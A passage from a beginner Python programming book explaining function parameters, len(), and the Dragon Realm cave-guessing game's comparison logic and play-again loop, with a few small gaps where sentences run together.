the function’s code. When the function is called, the call’s arguments are the values assigned to the parameters. Let’s go back to the interactive shell for a moment. Remember that for some function calls, like str() or randint(), you would pass one or more arguments between the parentheses: >>> str(5) '5' >>> random.randint(1, 20) 14 >>> len('Hello') 5 This example includes a Python function you haven’t seen yet: len(). The len() function returns an integer indicating how many characters are in the string passed to it. In this case, it tells us that the string 'Hello' has 5 characters. You will also pass an argument when you call checkCave(). This argument is stored in a new variable named chosenCave, which is checkCave()’s parameter. Here is a short program that demonstrates defining a function (sayHello) with a parameter (name): def sayHello(name): print('Hello, ' + name + '. Your name has ' + str(len(name)) + ' letters.') sayHello('Alice') sayHello('Bob') spam = 'Carol' sayHello(spam) When you call sayHello() with an argument in the parentheses, the argument is assigned to the name parameter, and the code in the function is executed. There’s just one line of code in the sayHello() function, which is a print() function call. Inside the print() function call are some strings and the name variable, along with a call to the len() function. Here, len() is used to count the number of characters in name. If you run the program, the output looks like this: Hello, Alice. Your name has 5 letters. Hello, Bob. Your name has 3 letters. Hello, Carol. Your name has 5 letters. For each call to sayHello(), a greeting and the length of the name argument are printed. Notice that because the string 'Carol' is assigned to the spam variable, sayHello(spam) is equivalent to sayHello('Carol'). Let’s go back to the Dragon Realm Chapter 4’s Jokes program, you called the input() function to pause until the player pressed ENTER. Here, the player doesn’t have to do anything except wait a couple of seconds. 24. print('A large dragon jumps out in front of you! He opens his jaws and...') 25. print() 26. time.sleep(2) With the suspense building, our program will next determine which cave has the friendly dragon. Line 28 calls the randint() function, which will randomly return either 1 or 2. 28. friendlyCave = random.randint(1, 2) This integer value is stored in friendlyCave and indicates the cave with the friendly dragon. 30. if chosenCave == str(friendlyCave): 31. print('Gives you his treasure!') Line 30 checks whether the player’s chosen cave in the chosenCave variable ('1' or '2') is equal to the friendly dragon cave. But the value in friendlyCave is an integer because randint() returns integers. You can’t compare strings and integers with the == sign, because they will never be equal to each other: '1' is not equal to 1, and '2' is not equal to 2. So friendlyCave is passed to the str() function, which returns the string value of friendlyCave. Now the values will have the same data type and can be meaningfully compared to each other. We could have also converted chosenCave to an integer value instead. Then line 30 would have looked like this: if int(chosenCave) == friendlyCave: If chosenCave is equal to friendlyCave, the condition evaluates to True, and line 31 tells the player they have won the treasure. Now we have to add some code to run if the condition is false. Line 32 is an else statement: 32. else: 33. print('Gobbles you down in one bite!') An else statement can come only after an if block. The else block executes if the if statement’s condition is False. Think of this as the program’s way of saying, “If this condition is true, then execute the if block or else execute the else block.” In this case, the else statement runs when chosenCave is not equal to friendlyCave. Then, the print() function call on line 33 is run, telling the player that they’ve been eaten by the dragon. The first part of the program defines several functions but doesn’t run the code inside of them. Line 35 is where the main part of the program begins because it is the first line that runs: 35. playAgain = 'yes' 36. while playAgain == 'yes' or playAgain == 'y': This line is where the main part of the program begins. The previous def statements merely defined the functions. They didn’t run the code inside of those functions. Lines 35 and 36 are setting up a loop that contains the rest of the game code. At the end of the game, the player can tell the program whether they want to play again. If they do, the execution enters the while loop to run the entire game all over again. If they don’t, the while statement’s condition will be False, and the execution will move to the end of the program and terminate. The first time the execution comes to this while statement, line 35 will have just assigned 'yes' to the playAgain variable. That means the condition will be True at the start of the program. This guarantees that the execution enters the loop at least once. Line 37 calls the displayIntro() function: 37. displayIntro() This isn’t a Python function—it is the function that you defined earlier on line 4. When this function is called, the program execution jumps to the first line in the displayIntro() function on line 5. When all the lines in the function have been executed, the execution jumps back to line 37 and continues moving down. Line 38 also calls a function that you defined: 38. caveNumber = chooseCave() Remember that the chooseCave() function lets the player choose the cave they want to enter. When line 17’s return cave executes, the program execution jumps back to line 38. The chooseCave() call then evaluates to the return value, which will be an integer value representing the cave the player chose to enter. This return value is stored in a new variable named caveNumber. Then the program execution moves on to line 39: 39. checkCave(caveNumber) Line 39 calls the checkCave() function, passing the value in caveNumber as an argument. Not only does the chooses to enter. Whether the player won or lost, they are asked if they want to play again. 41. print('Do you want to play again? (yes or no)') 42. playAgain = input() The variable playAgain stores what the player types. Line 42 is the last line of the while block, so the program jumps back to line 36 to check the while loop’s condition: playAgain == 'yes' or playAgain == 'y'. If the player enters the string 'yes' or 'y', then the execution enters the loop again at line 37. If the player enters 'no' or 'n' or something silly like 'Abraham Lincoln', then the condition is False, and the program execution continues to the line after the while block. But since there aren’t any lines after the while block, the program terminates. One thing to note: the string 'YES' is not equal to the string 'yes' since the computer does not consider upper- and lowercase letters the same. If the player entered the string 'YES', then the while statement’s condition would evaluate to False and the program would still terminate. Later, the Hangman program will show you how to avoid this problem. (See “The lower() and upper() String Methods” on page 101.) You’ve just completed your second game! In Dragon Realm, you used a lot of what you learned in the Guess the Number game and picked up a few new tricks. If you didn’t understand some of the concepts in this program, go over each line of the source code again and try changing the code to see how the program changes. In Chapter 6, you won’t create another game. Instead, you will learn how to use a feature of IDLE called the debugger. In the Dragon Realm game, you created your own functions. A function is a mini-program within your program. The code inside the function runs when the function is called. By breaking up your code into functions, you can organize your code into shorter and easier-to-understand sections. Arguments are values copied to the function’s parameters when the function is called. The function call itself evaluates to the return value. global variable, Python considers it a separate variable. has functions because they are so useful. By understanding how functions work, you can save yourself a lot of typing and make bugs easier to fix.
http://inventwithpython.com/invent4thed/chapter5.html
CC-MAIN-2017-51
refinedweb
4,085
72.66
#include <hallo.h> * Jay Berkenbilt [Sun, Jul 25 2004, 12:37:42PM]: > As such, libtiff3g and libtiff3g-dev will be renamed to libtiff4 and > libtiff4-dev. This will create an annoying situation of several Could you provide the new package version with renamed binary packages somewhere? So we can start building stuff for it. Idealy, we push all recompiled packages to a common directory on people.debian.org and on the day X when the lib packages have passed the NEW queue, we move them into incoming (maybe trough Tollef's queue on p.d.o). As temporary solution, I suggest: gluck:/home/blade/tifftrans/ Accessible via Regards, Eduard. -- <Joey> hash: Ja, du musst zuerst den Kernel patchen - den Patch musst Du selbst entwickeln. Attachment: signature.asc Description: Digital signature
https://lists.debian.org/debian-devel/2004/07/msg01822.html
CC-MAIN-2015-27
refinedweb
130
65.22
.3 Linking With Legacy FORTRAN 77-Compiled Routines A. Runtime Error Messages B. Features Release History C. Fortran Directives Summary The floatingpoint.h header file replaces f77_floatingpoint.h, and should be used in source programs as follows: #include "floatingpoint.h" Header file references of the form f77/filename should be changed to remove the f77/ directory path. Some programs utilizing non-standard aliasing techniques (by overindexing arrays, or by overlapping Cray or Fortran pointers) may benefit by compiling with the appropriate -xalias flag. See 3.4.102 -xalias[=keywords]. This is discussed with examples in the chapter on porting “dusty deck” programs in the Fortran Programming Guide.
http://docs.oracle.com/cd/E24457_01/html/E21992/aevou.html
CC-MAIN-2015-11
refinedweb
107
51.95
On Sun, Jan 18, 2009 at 04:50:25PM +0100, Anders Engström wrote: > Hi. I made some small changes to XMonad.Actions.Submap to add support > for a default action to take when the key doesn't match. > > My reason for creating this patch is to be able to use sticky submaps > that only exit on a specific key, but I am sure it can be used for a > lot of other things, for example a multi-level on-screen-display menu. > > Example: > > entersub = submapDefault entersub sublist > sublist = M.fromList $ > [ ((0, xK_Escape), return ()) > , ((0, xK_u), spawn "mpc toggle" >> entersub) > ] > > And then bind a key to entersub. > > Well, this is the first patch I am commiting, so I hope everything is > to your liking. Very good development tutorial for modules by the way. Applied, thanks! -Brent
http://www.haskell.org/pipermail/xmonad/2009-January/007155.html
CC-MAIN-2014-10
refinedweb
135
72.36
Python for Hackers – Tricks and Tips Python is one of the greatest programming languages for hackers. Not because of its easiness actually, but its ease-of-use and quick deployment. Take Black Hat Python for example. Great book. Ever wanted to build a quick TCP server? Simple. Implement socket. Make an object, connect, send some header data, and await a response First, specify two variables for a target and port. host = "" port = 80 Make TCP socket object and yadadadada obj = socket(socket.AF_INET, socket.SOCK_STREAM) obj.send("GET / HTTP/1.1\r\nHost:" + host + "\r\n\r\n") response = obj.recv(4096) print response The point is, with an ever growing collection of Python libraries and easy to deploy code, Python is ideal for hackers. If you ever look at some of the source code for popular pentesting tools, you will see a large amount of Python. Well, today I’m more of here to talk to about some applicable code you can use in pentesting situations, where you may not always have access to a Kali machine. And maybe with some ingenuity, you can even execute this code on a mobile device. So here are my favorite Pythonic recipes for the hacker! 1. Extract Phone Numbers Let’s start off with something simple. Say we want to siphon some Phone Numbers from a document or some sort of webpage. We want to social engineer these numbers, but the page is just spewing a ton of bullshit we don’t care much for. import re, urllib url = "" htmlFile = urllib.urlopen(url) html = htmlFile.read() phoneNums = re.findall(r'^(\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$', html) print phoneNums The core component that you need to understand is 5th line, where you would see a random string. What is it? That is known as a regular expression. This is basically a special string that signifies a specific pattern to look for. That specific regex specified looks for standard phone-numbers in these formats: ###-###-#### (###) ###-#### ### ### #### ###.###.#### 2. Hacking SMTP (email) With the vast collection of modules for Python, there obviously is one for SMTP, also known as Simple Mail Transfer Protocol. This is the protocol utilized by email services. Let’s make a simple script that launches a dictionary attack on a sample Gmail account (can be utilized on other SMTP services, such as Yahoo). import smtplib username = "hackme@gmail.com" # Specify a wordlist wordlist = open("wordlist.txt", 'r') for i in wordlist.readlines(): password = i.strip("\n") try: s = smtplib.SMTP("smtp.gmail.com", 587) s.ehlo() # identify self to server to confirm working s.starttls() # start secure connect s.ehlo s.login(username, str(password)) print "Found! Password: %s" % password s.close except: print "OOPs something went wrong" Let’s look at a few lines. the for keyword takes each newline within the wordlist.txt and appends it as a possible password. When we look at line 8, a SMTP object is defined, connecting to the Gmail SMTP server on port 587. The SMTP object would attempt to login using with the username, and each password from within the wordlist. 3. TCP DoS attack This quick script provides a way for the user to employ a quick stress. from scapy import * target = "127.0.0.1" # replace with target IP address port = 80 sport = 8080 # replace with source port, or import random to randomize. while True: send(IP(dst=target) / TCP(sport=x,dport=port), inter=.005) print "Sent. Kill with Ctrl + C" We look at line 6. This implements the module scapy. Three variables are utilized, a target address, port, and source port. The send() method identifies that, as well as using the TCP protocol. 4. Searching Vulnerability with Shodan This script implements the shodan module in order to find vulnerable devices/services. import shodan SHODAN_API_KEY = # key here # Create object api = shodan.Shodan(SHODAN_API_KEY) try: results = api.search("") # string to search print "Result: %s" % results[total] for result in results['matches']: print "IP: %s" % result['ip_str'] print result['data'] except shodan.APIError, e: print "Something went wrong" 5. Scanning with Nmap Very simple host scan using the python-nmap module. import python-nmap ip = '127.0.0.1' # replace with target host scan = nmap.PortScanner() scan.scan(ip, '0-65535') # scan host, all ports 6. Sniffing Bluetooth Devices from bluetooth import * from time import * found = [] def findDevices(): foundDevs = discover_devices(lookup_names = True) for (addr. name) in foundDevs: if addr not in alreadyFound: print "Found Device " + str(name) print "MAC Address: " + str(addr) found.append(addr) while True: findDevices() sleep(5) 7. SMS Bomb This script uses the smtplib, just as the SMTP cracker does. However, this time it is implemented on email-2-text carrier address. import smtplib # It is important to use a disposable Gmail account gmail = "test@gmail" password = "somepassword" target_num = "123-456-7890@vtext.com" # Example Verizon SMS address. Replace with carrier address of num. o = smtplib.SMTP("smtp.gmail.com:587") o.starttls() o.login(gmail, password) message = "Something hi" spam_msg = "From: {} \r\nTo: {} \r\n\r\n {}".format(gmail, phone_num, message) counter = 20 # execute 20 times for i in range(counter): o.sendmail(gmail, phone_num, spam_msg) 8. Geolocation Take an IP address, and you get back some nice juicy information about geolocation. import pygeoip # GeoIP object gi = pygeoip.GeoIP('GeoIP.dat') # specify database file for GeoIP. gi = pygeoip.GeoIP('GeoIPRegion.dat') # region gi = pygeoip.GeoIP('GeoIPCity.dat') # city gi = pygeoip.GeoIP('GeoIPISP.dat') # ISP ip = "127.0.0.1" # replace with IP address! # Country gi.country_name_by_addr(ip) #=> "United States" for e.g gi.region_by_addr(ip) #=> {'region_name': 'NY', 'country_code': 'US'} gi.record_by_addr(ip) #=> Returns a huge dict of stuff Im not even gonna give an example gi.org_by_addr(ip) #=> "Super Techcom ISP Inc. Corp." # More info: # Even more info: That’s just some of my favorite quick delicious recipes for evil malicious Pythonic hax3z. As a language that includes elements of a procedural scripting language and object-oriented language, Python provides at-ease use for both hackers and engineers. I rely greatly on Python when it comes to writing scripts and projects, and hopefully, I’ll continue to utilize it. However, to add some variation, I’ll start with some projects in C, Rust and Ruby as well. Exploitation is looking nice, so that’s something I’m aiming at. Thanks for reading, and more is coming! Here is a gr8 list of books by hackers for hackers with relevance to Python: - Black Hat Python - Gray Hat Python - Violent Python - and of course, if you are a beginner YEARNING to learn, here’s a great classic: Automate the Boring Stuff with Python
https://haxf4rall.com/2016/11/10/python-for-hackers-tricks-and-tips/
CC-MAIN-2018-51
refinedweb
1,109
68.87
/* * <string.h> size_t fread(buf, size, count, fp) void *buf; size_t size, count; register FILE *fp; { register size_t resid; register char *p; register int r; size_t total; /* * The ANSI standard requires a return value of 0 for a count * or a size of 0. Peculiarily, it imposes no such requirements * on fwrite; it only requires fread to be broken. */ if ((resid = count * size) == 0) return (0); if (fp->_r < 0) fp->_r = 0; total = resid; p = buf; while (resid > (r = fp->_r)) { (void)memcpy((void *)p, (void *)fp->_p, (size_t)r); fp->_p += r; /* fp->_r = 0 ... done in __srefill */ p += r; resid -= r; if (__srefill(fp)) { /* no more input: return partial result */ return ((total - resid) / size); } } (void)memcpy((void *)p, (void *)fp->_p, resid); fp->_r -= resid; fp->_p += resid; return (count); }
http://opensource.apple.com/source/Libc/Libc-167/stdio.subproj/fread.c
CC-MAIN-2015-11
refinedweb
133
58.96
programmable wireless control system for beha panel heaters. 1 Welcome to the iJaz wireless control system. The system controls BEHA Convector Panel Heaters type P and L. In addition to the iJaz Central Control Unit each heater needs a RP 200 Radio Plug for wireless communication between the central control unit and the heater. A wireless switch (SP 16) for switching on and off other appliances like lights, coffee maker, hot water tank etc. is available. The SP 16 is designed for DIN wall power outlets. iJaz can control up to 16 zones and each zone can control an unlimited number of heaters and/or other appliances respectively. A zone can be a heating zone e.g. a living room or a switch zone like the household coffee maker. Each of the 16 zones has a unique address, preventing the possibility of a conflict with another iJaz system. Each zone can have unlimited numbers of units connected. When installing the system start by planning all zones you want the central unit to control. Install the heaters and the radio plugs (RP 200). When installing the heaters use the heater Bedroom 1 Bedroom 2 Kitchen Living room Stove with RP200 Sp16, Wireless switch Bath Installation Instructions. To achieve the best possible communication it is recommended installing the iJaz central control unit in the centre of the house or flat. The wireless connection of the iJaz central control will vary depending on how many walls and types of walls the signal will have to penetrate. The distance in open air is up to 300 metres. Two independent programmes should be prepared. Normal programme: This programme is for daily use and should contain temperature reduction periods for each of the heating zones. It is possible to programme each day differently with minimum periods of 15 minutes. All heating zones have a factory installed default weekly programme. Away from home programme: This programme is used for longer periods of absence, typically holidays, business trips etc. Programme each heating zone to be as cold as possible to save maximum energy. If you choose to leave the room temperature at 5 ºC or switch off the heaters completely in some of the rooms please remember to set your return time to a few hours earlier than your return. It takes some time to bring the room temperature back to a normal level. Installation. Remove the wall bracket like this: 1. Press the lock. 2. Tilt it upwards. 3. Slide the bracket off as shown. iJaz is designed for wall installation. Start with selecting the place of installation. The recommended height from the floor to the centre of the display is 160 cm to 180 cm, depending on how tall the operators are. We recommend that you familiarize yourself with the product before it is mounted on the wall. It will make it easier to choose the best possible height. Connect the iJaz central control to the power source. Then it is easier to decide which angle gives better visual display. The display contrast can be adjusted. When the location is decided it is time to fix the wall bracket. iJaz Central Control User Instructions Save energy! Wireless control system for BEHA panel heaters. The iJaz system is simple in design and can be installed without proffesional assistance. Control 16 heater or switch zones, touch screen operated. Each zone can control an infinite numbers of heaters or switches. The iJaz central unit has a built in thermo meter with output for frost alarm. Possible to connect a GSM receiver for remote control. iJaz can be installed onto a wall junction box to hide the cable if desired or directly on the wall. A 9V power supply for connection to 230V single phase supply is included. The figure shows how to connect the power supply. Only the power supply delivered with the product should be used. 3 2 Hall BEHA ELEKTRO AS N-3940 PORSGRUNN, Norway The sketch shows iJaz with six heater zones and two switch zones. The living room is split into two zones; one zone covering three heaters and the other covering one switch. 2 Adjusting time and date Adjusting time and date Date Time Sett correct date and time! 3 post@beha.no 4 Establish and connect zones When starting iJaz the correct time and date must be set. The time and date can also be entered in “Menu Settings”. How to set time and date: use the arrow keys to move left and right. The cursor will move and indicate the value to set using the + and keys. When setting is completed press OK. (The display is pressure sensitive and works as a keyboard.) Heaters Switch 6 Symbols explanations After the first zone has been entered with a name it will appear on the screen. Additional zones are established by pressing “NEW”. Repeat the procedure until all planned zones are entered. Incorrect entries can be corrected by using the “Delete/change” key. From the main screen you will find the procedure for “Establish and Connect Zones” when pressing key “Menu” and “Zones”. You may at any time add new zones, delete zones and change the name of zones. When pressing i key the user information appears. The i key is present in almost all the screens giving explanations to the current picture. It makes the iJaz simple to use. The symbol shows that a connecting attempt has not been made. When the “Connect” key is pressed iJaz starts transmitting its unique code for the chosen zone. The code is transmitted continuously until “OK” is pressed. The icon in the upper left corner shows it is a heater zone. A heater or a switch is connected to the chosen zone by pressing the “PAUSE” button on the RP 200 or SP 16 for 3 to 5 sec. If the connection is successful the unit will give a acknowledgement signal by 3 blinks of the green LED. See RP 200 and SP 16 User Instructions. After connecting all heaters or switches in the zone, complete the procedure by pressing “OK”. Repeat the procedure for the remaining zones. It is possible at any time to connect additional heaters or switches to a heater or switch zone by pressing “Connect” for the wanted zone. Then press “PAUSE” on the RP 200, SP 16 respectively. Zone, type and name Choosing a zone - 1 After time and date is set the system moves directly to choosing a zone. The planned zones must be entered into the programme. The main screen will show the zones in the same sequence as they were entered, first on top, next as second etc. A zone can control either heaters or wireless switches, not both. When a zone is established a choice must be made to whether it is a heater zone or a switch zone. Zones are made under “Menu” and “Zones”. The icon indicating a heater zone is illustrated as a heater radiating heat waves. The icon of a switch zone is illustrated as a wall socket. 5 Main Screen A heat zone indicated by the icon in the upper left corner is established. After the icon is the chosen zone name. The writing keys are similar to and used in the same way as the key pad of a mobile phone. Press OK when the zone name is entered. Many of the windows have a return key, bringing you back to the previous screen. The symbols appearing in the zones are: Indicates the temperature setting of the heater is being maintained. The communication LED on the RP 200 will show a steady green light. Indicates lowering the temperature by 5 ºC room temperature from the set thermostat temperature. The communication LED on RP 200 will show a blinking green light. Frost safeguard. Maintaining a minimum of 5 ºC in the room. The communication LED on RP 200 will show a fast blinking green light. Heater off. The heater will not produce any heat. The communication LED on RP 200 will show an orange light. This function can be used with the “Away from home” programme only. Switch is on. Switch is off. Shows a zone in PAUSE mode. Heaters connected to this zone will operate to the temperature set. If the zone is a switch zone the automatic on/off functions are cancelled and the set PAUSE mode prevails. Indicates that an attempt to connect the zone has not been done. 7 Available units This is the main screen after zones have been established and connected. The upper grey field contains information about the current programme mode, time and date and the room temperature where iJaz is installed. In this main screen the zones from our example have been connected. More zones will appear on the screen when using the up and down keys. Model: RP200 Radio plug for BEHA heaters, white or black. EL-nr: 5449901 hvit 5449902 sort Model: SP16 Radio switch for DIN sockets EL-nr: 5449903 Rev. A 8 Programming of zones - Heater Zone Touch on the main screen while the zone you want to programme is marked. The first screen appearing shows the setting for one week. Our example shows a heating zone. How to change the setting on Saturday and Sunday: Touch Saturday and Sunday. A frame will show the days chosen. Press “Change Day”. 9 How to activate “Away from home” programme 11 Menu settings Press in main screen when “Away from home” is going to be activated. You can select between “Pending further action” or “Limited period”. “Pending further action” is selected when time of return (coming home) is uncertain. The “Away from home” programme will remain activated until normal mode is again selected. The chosen days will appear. The top of the graph bar shows the time is 00 hrs, the bottom is 24 hrs. Use the up and down keys to move vertically on the bar. One of three function settings is possible: Set Room Temperature, Lower 5 ºC or Frost Safeguard (snow crystal). If “Limited Period” is selected the time and date from/to has to be set. iJaz will thus automatically select the “Away from home” programme for the specified period. “kWh” key, please see explanation in section 13 Programming of zones - Switch Zone An on/off switch zone is programmed the same way as a heater zone, refer to introduction in section 8. When “Suitcase/Pause” button is pressed the switch zone mode can be selected if the zone is activated by the “Away from home” or “Pause” programme. on the main screen to enter main menu for settings. The main screen gives you four possibilities: “Date/time” is for setting the correct date and time. Press “Zones” for adding or changing zones, refer to section 4. Press “Consume” for checking the electricity consumption for the last 24 hrs, week or month. This will only be possible if the electricity metre is connected to the iJaz system. Please see section 13 about saving electricity. Press And This function will only work with a newer type of electric metre having pulse connection. Connecting the electric metre to the iJaz will have to be done by a certified electrician only! When pressing “SET” the impulse frequency of the electric metre has to be entered as well as the excess consumption limit. iJaz will show the consumption during the past 24 hrs, the past seven days and the past three weeks. Control of excess consumption can be achieved by pressing the “kWh” key in the zone screen. The possibility to select mode of the zone when excess consumption occurs can be programmed separately for each zone. It works basically as the “Away from home” programme. If the heat zone of the living room is programmed to lower room temperature 5°C it will be activated when iJaz detects excess consumption. Press “System” for adjusting the screen contrast, carry out a radio transmitting test or establishing a pin code for protection of the settings. When “Radio Test” is pressed iJaz will transmit a test signal. All units connected will pause and the pause LED will blink. The date and time from/to is set as described in section 2. Use the left/right arrows and the +/- keys. Press OK when the time frame is set. If none of the three possibilities have been selected nothing will change when you move the cursor up or down the graph bar. If one of the keys is pressed the selected function will be entered into the programme next time the up or down arrow keys are pressed. A bold frame around the function key shows which key is selected. When pressing the suitcase icon “Away from home” (first screen of the zone programme) you can select the setting of the absent zone: Since this is a heater zone the selections available are: normal programme, lower 5 ºC, frost guard or switch off. If “Normal” is selected it means that the normal programme will be in use when “Away from home” mode is activated. Press 13 Saving energy at excess consumption After programming the “Away from home” setting this is how the screen may look. The “Suitcase” icon has been replaced by the “House” icon, indicating normal programme mode. To delete or change the “Away from home” programme press , then press “Activate Normal” or “Modify away from home”. To e s t a b l i s h a P I N - c o d e protection press the “YES” key. Then press “SET” key to activate. At this point you may choose a PIN-code by entering four digits, then press “OK”. When the PINcode is activated any change of settings will have to be initiated by the code. When the code has been entered the system will be open for changes for as long as the backlight is on, meaning you do not have to enter the code for every change. The backlight will be on for approximately 3 minutes after the last key operation. Then the code is activated again. 10 Pause function Press on the main screen for activating pause. One or more zones can be set to pause mode. Pause mode can be used when you are at home or at a time when you are normally away. Select the zone you want to set to pause mode. The screen will show the possibilities between activating the selected zone only or all zones. If you want all zones in pause mode press “All zones” and then “Activate”. The “Pause” symbol ll will appear in front of the zones in the main screen. In order to turn off the pause mode press “Pause” button, then press “Selected zone” or “All zones” (depending on the previous choice) and then “Deactivate”. The pause mode does not have any automatic delete function. If “Pause” is activated it will be in pause mode until it is deactivated. If, on the other hand, the pause mode on external units (RP 200 and SP 16) that are connected have an automatic deactivating function when they are in use. You will find more information on RP 200 and SP 16 pause functions in their user manuals. (As a backup the code 1917 will always work in case the set code is forgotten.) 12 NB! At room temperature below 10 ºC the LCD screen will appear darker and the reaction time will be slower. If a heater zone is programmed to be switched off with the setting “Switch zone off” the zone will not be protected by “Frost Safeguard”. 14 Connections On the backside of the iJaz unit the connecting points are: Terminal 1 and 2: Frost detector alarm. This exit connects if the temperature goes below 5°C. The temperature is measured by iJaz. This function can be connected to the house alarm system. Terminal 3: Not in use, the system is prepared for future functions not available today. Terminal 4 and 5: Connecting terminal 4 to terminal 5 will start the “Away from home” function. An external switch can be used for this purpose. The external switch can be a GSM controlled switch which can be used for starting the heaters from a mobile phone (SMS). Terminal 6 and 7: For connection of the electric metre (metres with pulse terminal). iJaz will register total consumption. Terminal 7 and 8: The short circuit between 7 and 8 MUST NOT BE REMOVED. The short circuit is to be removed when updating the iJaz software only. This should be done by authorised personnel only. A USB port is available for regular service functions. Rev. 01
http://manualzz.com/doc/48314420/ijaz-handbok-eng-rev_02.cdr
CC-MAIN-2018-17
refinedweb
2,774
73.98
Istio and Google Kubernetes Engine: From 0 to 1 You have some experience with Kubernetes and have deployed basic applications on Kubernetes. You have heard of Istio and all the wonderful features that it brings to your Kubernetes application like Canary Deployment, Circuit Breaking, JWT authentication, mTLS. And now you just want to get some hands-on experience on how you can introduce Istio in the very minimum level possible just to test the waters. This story will help you out with that. This story does not give you any explanation of what Istio is. It just lists down the steps that you will need to get from Step 0 to step 1. Will explain Istio’s other features in subsequent stories. Prerequisite - Setup a GKE cluster with node auto-scale enabled. If you create a basic GKE cluster with just 3 n1-standard-1 nodes, then sometimes it gives OutOfCPU error as Istio itself uses up some CPU. Follow this link to get a better understanding - First, check if your cluster is a private cluster or it’s protected by firewall rules. Just connect to your cluster using gcloud CLI and run kubectl get podsIf you get a Timeout error then - white list your IP address so you can access the cluster using kubectl - By following this guide, you need to open the port 15017 by updating the firewall rule. Note: If the cluster is not private, then you don’t need to go through these previous steps. 3. Istio installed in your GKE cluster. If you want to explore all the features Istio gives out of the box, then install Istio with the Demo profile. It comes with all the addon component Istio has to offer. istioctl manifest apply --set profile=demo Note: I encourage you to use the latest version of Istio. Google also gives a way to add Istio with your cluster at cluster creation time. But it’s normally several versions outdated. 4. You need to have your Deployment and Service manifest YAMLs and add a label to these manifests. Sidecar Injection Istio uses Envoy as a sidecar proxy to introduce all its cool features. Before you deploy your application you need to manually inject sidecar proxy or enable automatic sidecar injection to a namespace. If you are completely new on the block and don’t know how Istio works at least from a birds-eye view, all these Envoy proxy, Sidecar, and many other terms might confuse you. Not might it definitely will. If you just want to get Istio up and running, then follow the steps as-is. If you want to get a better understanding of what these jargons mean then you can read the Istio documentation. It’s good. Manual sidecar injection You can choose to inject sidecars on a per-workload basis using the following command. istioctl kube-inject -f samples/sleep/sleep.yaml | kubectl apply -f - Automatic Sidecar Injection If you want to inject sidecar proxies automatically to your pods then you can run the command below and enable automatic sidecar injection. kubectl label namespace <NAMESPACE_NAME> istio-injection=enabled This enables sidecar injection for the namespace you specified. Sample Kubernetes manifests A good thing about Istio is that you can use it’s functionality on top of your existing Kubernetes application. You don’t need to modify your native Kubernetes manifests(Deployment, Service) apart from some labels. And if at some point in the future you decide not to use Istio, you can just uninstall Istio and all the services in your GKE cluster should work as usual. Kubernetes native manifest files and the modifications you need Assuming you already have a Kubernetes application deployed on GKE with a very basic Deployment and a Service, the only thing that you need to check is that you have added a label: app:<APP_NAME> in the metadata section Note: If you don’t add this label then Kiali does not treat these components as part of the same application and you can’t see the traffic flow properly. Istio native manifest files If you have the kubernetes Deployment and a Service file ready, to integrate Istio, you will need two things. - Gateway - Virtualservice There are some other CRDs like DestinationRule, PeerAuthentication, AuthorizationPolicy. But those are for some other cool feature of Istio. To introduce basic Istio in your cluster Gateway and Virtualservice is good enough. Let me give you a short intro on what these two types of CRDs(Custom Resource Definition) are. Gateway Gateway just sits at the edge of your GKE cluster and defines the Port and Protocol for the incoming traffic. It basically works as a door at the edge of your cluster. It only lets the traffic in. But it does not tell the traffic which service it should hit. That’s where the Virtualservice comes in. Virtualservice Virtualservice is the component that takes the incoming traffic from the Gateway and delivers to the right micro-service. You may ask that what’s the difference between a Service and a Virtualservice? Virtualservice basically extends the capability of a Kubernetes service and brings in cool features like Canary Deployments, Traffic Mirroring, Fault Injection, and many more things. Here is a sample of a Gateway and a Virtualservice Sample Gateway Manifest Sample Virtualservice Manifest - <GATEWAY_NAME>: It has to match with the gateway you have defined. - <NAME_OF_THE_KUBERNETES_NATIVE_SERVICE>: It’s the name of the service where you want your traffic delivered to. - <SAME_PORT_USED_IN_SERVICE_MANIFEST_FILE>: It’s the PORT(not the TARGETPORT) number that was defined in your Kubernetes service manifest. Sample Manifest for Virtualservice with Routes If you want to route your traffic based on a path then you can use the following sample Virtualservice Applying Istio configurations Make sure you have - Your Kubernetes Deployment and Service ready with the right label added - Your Gateway and Virtualservice is configured right - You have automatic sidecar injection enabled for the namespace you want to deploy your app to. You can also use manual sidecar injection if you want Then simply deploy your config files with a standard kubectl command. kubectl apply -f <FILENAME> List your deployed Istio CRDs After you have deployed your Gateway and Virtualservice, you can see the list of your deployed resources using these commands. List Gateways kubectl get gw List Virtualservices kubectl get vs See the results After you have deployed all your YAML configurations, the Istio Gateway connects with the Istio Ingress and routes traffic. You can use the IP address of the Istio Ingress to test out your Istio setup. kubectl get svc istio-ingressgateway -n istio-system It will give you a public address. Put it in a browser and if everything goes well you should see your applications landing page. Accessing the Dashboards If you have istioctl installed in your laptop, you can easily access the dashboard that Istio gives you out of the box. istioctl dashboard kiali istioctl dashboard jaeger istioctl dashboard grafana istioctl dashboard prometheus Troubleshooting In your kiali graph, you may see some sources named unknown. It doesn’t necessarily mean your settings are wrong. There are several reasons for that. Read through this to understand the pattern of traffic. - - Useful Links If you want to learn more about istio refer to these links
https://medium.com/intelligentmachines/istio-and-google-kubernetes-engine-from-0-to-1-8d84b4cea20?source=post_internal_links---------3----------------------------
CC-MAIN-2022-33
refinedweb
1,211
52.19
Coarse-grained access control with SAP API Management In this blog post I’ll outline how one can implement coarse-grained access control with the help of SAP API Management. The code examples can be found on the serban-petrescu/sapim-scopes GitHub repository. Instructions on how to get it up and running can be found in the repository’s read me file. Intro Let’s say that you have an API that you want to protect with OAuth. If you can’t change the API itself, the API Manager could be a viable solution for achieving this. Generally, it is a good idea to rely on some other mechanism to create the tokens themselves, like for example the SCP NEO OAuth Service or the SCP CF XSUAA Service. Only the enforcement of the access control should be done on API Management. In the case of cloud foundry, you even have the possibility of forcing all requests towards an app to go through the API Manager via the API Manager route service. So you might think of doing this cross-cutting concern centrally for a suite of microservices instead of spreading this logic to each microservice. Access Control Access control can be boiled down to three big components: - Authentication: the requests coming in must be authenticated. When we talk about OAuth, this translates to “the requests must have an OAuth token attached”. - Coarse-grained: the requester must have access to the URL / Verb that he is using for the request. In OAuth, we can use scopes to model these permissions. For example, one could say that if you have a “ReadBooks” scope, you could make “GET /books” HTTP requests. - Fine-grained: the requester must have access to each individual resource that he wants to work with. For example the European regional manager for a multinational company may not access the employee information for North American employees. This can also be modelled through OAuth via claims (~ attributes). We’ll talk a little about coarse-grained access control and how to implement it with the API Manager in the next chapters. JSON Web Tokens We will work with JWT OAuth tokens, which can be decoded to extract the OAuth claims without having to call the Authorization Server. Such a token looks like so: 